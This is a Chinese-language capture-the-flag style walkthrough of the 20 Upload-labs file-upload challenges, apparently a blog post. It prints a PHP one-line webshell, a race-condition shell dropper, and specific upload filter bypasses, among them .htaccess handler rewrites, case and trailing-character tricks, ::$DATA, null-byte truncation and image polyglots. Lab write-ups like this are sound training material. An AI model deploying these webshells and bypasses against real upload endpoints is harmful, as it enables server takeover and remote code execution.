Upload-labs 1-20关 靶场通关攻略(全网最详细)
目录
前言:
一句话木马具体内容:
<?php eval($_REQUEST[123]);?>
Pass-01-前端校验

可以看到,是弹框提示,肯定是前端用了JS代码,前端限制了后缀。
前端验证等于没有验证。
抓包绕过即可,上传一张写有“一句话木马”的jpg图片。



出现这个画面,表示上传成功。

成功getshell!
Pass-02-MIME类型校验

这个地方的限制和Pass-01的提示不一样的,考虑后端做了验证。
查看源码:

发现对mime类型做了限制:
那么考虑抓包修改mime类型:


成功getshell!
Pass-03-黑名单

首先,查看pass-03的源码:
上图做了解析。
意思是不允许上传后缀为.php的文件,那就先上传.jpg,然后尝试抓包绕过吧。

把3.jpg改成3.php3即可绕过。
原因:

打开网站apache服务器的httpd.conf源码
最后面有这样一行配置:意思是把.php、.php3、.phtml都当作php文件去解析。

成功getshell!
Pass-04-黑名单-.htaccess

应该是后端做了校验。
直接看源码:

也是一个典型的黑名单机制,那么就要找黑名单里面不存在的来进行绕过。 这里我们想到了.htaccess文件。
准备一个.htaccess文件,内容为:
AddType application/x-httpd-php .png
意思是用.png文件可以被当作.php去执行。
接下来随意写个一句话木马,然后将后缀修改为.png,上传即可,一样getshell!

Pass-05-大小写
直接上传php文件:后端肯定做了校验,和上一关的提示有点像,查看源码。


发现黑名单禁了.htaccess

仔细看过滤条件,发现没有过滤大写strtolower这一条件,可以加以利用。
进行大小写绕过。
这里创建一个5.Php进行上传。


成功getshell!
Pass-06-后缀空格
发现大小写已经不可行了。
查看源码:

但是首尾去空trim函数过滤条件没有标注,可以考虑抓包加空格绕过。

需要注意的是: 这一关只适合在Windows系统下绕过,Windows下保存文件如果后缀有空格会自动去除空格。
而,如果在Linux下空格会保存下来。

成功getshell!
Pass-07-后缀"点"
利用pass-06的做法已经不行,直接看源码:

仔细看,发现没有去掉最后一个“."的过滤条件,即deldot函数。
这一关还是需要利用Windows的特性,在Windows中后缀有点的情况会自动删除点。
那么我们只需要抓包在文件名后面加上 "." 即可。


因为在windows上运行,文件后缀“.”会被吞掉,变为.php本身。
成功getshell!
Pass-08-::$DATA
这关利用pass-07绕不过了,直接查看源码:

发现去掉::$DATA的函数str_ireplace()没有标识出来,可以考虑利用这点。
这个关卡还是得在Windows下面才有效。
例如: phpinfo.php::$DATA " Windows会自动去掉末尾的::$DATA变成"phpinfo.php" 所以知道这个特性之后,我们就可以抓包修改文件名:加上::$DATA即可。



成功getshell!
Pass-09-点空格点
还是得在windows环境中进行。 首先看源码:

最后9.php.会被windows自动过滤为9.php


成功getshell!
Pass-10-双写
首先,先看代码:

这样只能考虑双写绕过了。


成功getshell!
Pass-11-GET-%00截断-白名单
00截断是操作系统层的漏洞,由于操作系统是C语言或汇编语言编写的,这两种语言在定义字符串时,都 是以\0(即0x00)作为字符串的结尾。操作系统在识别字符串时,当读取到\0字符时,就认为读取到了 一个字符串的结束符号。因此,我们可以通过修改数据包,插入\0字符的方式,达到字符串截断的目 的。00截断通常用来绕过web软waf的白名单限制。
最终达到的效果:
www.xxx.com/shell.php%00.jpg => www.xxx.com/shell.php
我们直接查看源码:

直接burp抓包:


成功getshell!
Pass-12-POST-%00截断-
原理和pass-11是一样的。只是post的处理方式不一样。
查看源码:

路径变为了post的方式。
我们知道GET传惨会自动解码,post不会, 所以我们在修改包的时候需要主动去url解码一次。
抓包。


成功getshell!
Pass-13-图片码
直接查看源码:


制作一张图片码shell.png:

在图片码的末端添加一行一句话木马:<?php eval($_REQUEST[123]);?>
或者:
在终点执行命令
copy 1.png /b + shell.php shell.png
用一张普通图片1.png与木马文件shell.php一起生成一张图片码shell.png
再次把shell.png上传,然后利用文件包含漏洞进行包含。

可以看到文件名被重置了,复制这个地址,放在包含漏洞里。


成功getshell!
Pass-14-图片码
与上一关一致操作即可
Pass-15-图片码
与上一关一致操作即可
Pass-16-二次渲染
直接看源码:

我们还是按照13,14,15的思路进行上传:
发现最终<?php eval($_REQUEST[123]);?>被吞掉了,不能存在了。
二次渲染的时候把码的信息给干掉了。 怎么办呢?
把原图和他修改过的图片进行比较,看看哪个部分没有被修改。
将php代码放到没有被更改的部分,再重 新上传即可绕过。
这里使用HxD Hex Editor进行比较:建议试用gif尝试。
HxD Hex Editor使用方法略过,有需要具体了解的朋友请留言。

在新标签页重新打开这个上传的图片

地址拷贝给文件包含漏洞页面

成功getshell!
Pass-17-条件竞争
查看源码:

如果上传之后后缀名为.php则直接删除,所以要争取在删除之前打开文件,但是就算当时打开了文件,在连接蚁剑的时候,也必然会被删除掉文件。
所以,在这里我们要改思路,不能再继续写一句话木马,而是要写成:
<?php
file_put_contents("shell.php",'<?php eval($_REQUEST[123]);?>');
?>
利用file_put_contents的写入文件模式,也就是争取未被源码删除之前的时间,往根目录写入另一份一句话木马文件,到时候直接包含这份新的一句话木马文件即可。
这里就需要burpsuit抓包,扔进intruder,然后跑一个Null payloads:

然后发包,用另一个浏览器一直访问17.php地址,只要在上传的一瞬间,他还没来的及删除就可以了。
这里有一个知道已经生成shell.php,执行了php代码的小技巧,你可以在在代码里输出一行回显echo "##########################";
如下:
<?php
echo "##########################";
file_put_contents("shell.php",'<?php eval($_REQUEST[123]);?>');
?>
只要访问17.php的时候出现了##########################,就说明成功执行代码,生成了shell.php文件。
然后访问/upload目录下的/shell.php即可。

成功getshell !
Pass-18-白名单-图片码
这一关先要改一下源码,路径有问题,修改myupload.php中的如下代码:

这关是检查了后缀名,然后上传,然后在进行名字修改。这时我们只能上传图片码然后进行包含。
与13-15关一样操作即可。

成功getshell!
Pass-19-黑名单-/.绕过
查看源码:

发现保存的名字参数可控
move_uploaded_file()有这么一个特性,会忽略掉文件末尾的 /.
所以直接上传php文件,然后抓包,添加/. 然后绕过黑名单。


成功getshell!
Pass-20-数组绕过-配合/.
查看源码:

这一关save_name处一定要构造一个数组
mime类型可以抓包修改
文件名可以抓包修改
这个时候直接上传一个php 文件如何?
再结合move_uploaded_file() 会忽略/.
我们精心构造一下:


图片配了详细说明。
按抓包图片更改内容即可绕过后端校验。

成功getshell!
总结:
黑名单绕过方式:
php3
上传.htaccess配置文件
大小写Php
后缀空格
后缀“." ::$DATA
后缀点空格点
双写php
后缀/.绕过move_uploaded_file()函数
白名单绕过方式:
后缀%00截断
条件竞争
图片码
AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。
更多推荐




所有评论(0)